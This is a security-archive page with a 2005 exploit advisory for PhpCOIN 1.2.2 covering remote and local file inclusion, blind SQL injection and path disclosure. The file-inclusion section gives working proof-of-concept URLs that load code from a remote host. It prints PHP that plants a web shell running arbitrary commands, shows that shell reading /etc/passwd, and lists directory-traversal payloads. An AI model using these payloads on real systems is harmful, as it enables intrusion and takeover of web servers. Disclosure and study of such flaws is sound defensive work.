the internet's safety

phpcoin122.html

phpcoin122.html
Posted Dec 14, 2005
Authored by rgod | Site retrogod.altervista.org

PhpCOIN version 1.2.2 is susceptible to arbitrary file inclusion, blind SQL injection, and path disclosure attacks.

tags | exploit, arbitrary, sql injection, file inclusion
MD5 | 06e0f015908740a626e9fcdad2aa017a

phpcoin122.html

Change Mirror Download
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-identifier">PhpCOIN 1.2.2 arbitrary remote\local inclusion / blind sql injection / path disclosure

software:
site: http://www.phpcoin.com/
description: "a free software package originally designed for web-hosting resellers
to handle clients, orders, invoices, notes and helpdesk, but no longer limited to
hosting resellers. phpCOIN is used by over twenty-five thousand people worldwide*,
including web-hosts, designers, lawyers, accountants, and a school band"

i) arbitrary remote/local inclusion:

vulnerable code in coin_includes/db.php at line 30-39:

...
# Determine Database and include proper class file
switch($_DBCFG['dbms'])
{
case "mysql":
require_once ($_CCFG['_PKG_PATH_DBSE'].'db_mysql.php');
break;
default:
require_once ($_CCFG['_PKG_PATH_DBSE'].'db_mysql.php');
break;
}
...


if register_globals on and allow_url_fopen on
you can include an arbitrary file from a remote location, poc:

http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://[location]

on remote location you have this code in http:/[remote_location]/db_mysql.php/index.html:

<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\$HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>

then you launch commands:

http://[target]/[path]/suntzu.php?cmd=cat%20/etc/passwd

if register_globals on and magic_quotes_gpc off you can include an arbitrary file
from local resources, poc:

http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00

exploit tool here:
http://rgod.altervista.org/phpcoin_122_incl_xpl.html


ii) if magic_quotes_gpc off -> SQL injection through cookies:

exploit code here:
http://rgod.altervista.org/phpcoin_122_sql_xpl.html


iii) path disclosure, simply:

http://[target]/[path]/config.php

'cause in coin_includes/db.php _CCFG['_PKG_PATH_DBSE'] is not defined


rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/phpcoin122.html


</span></span>
</code></pre>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close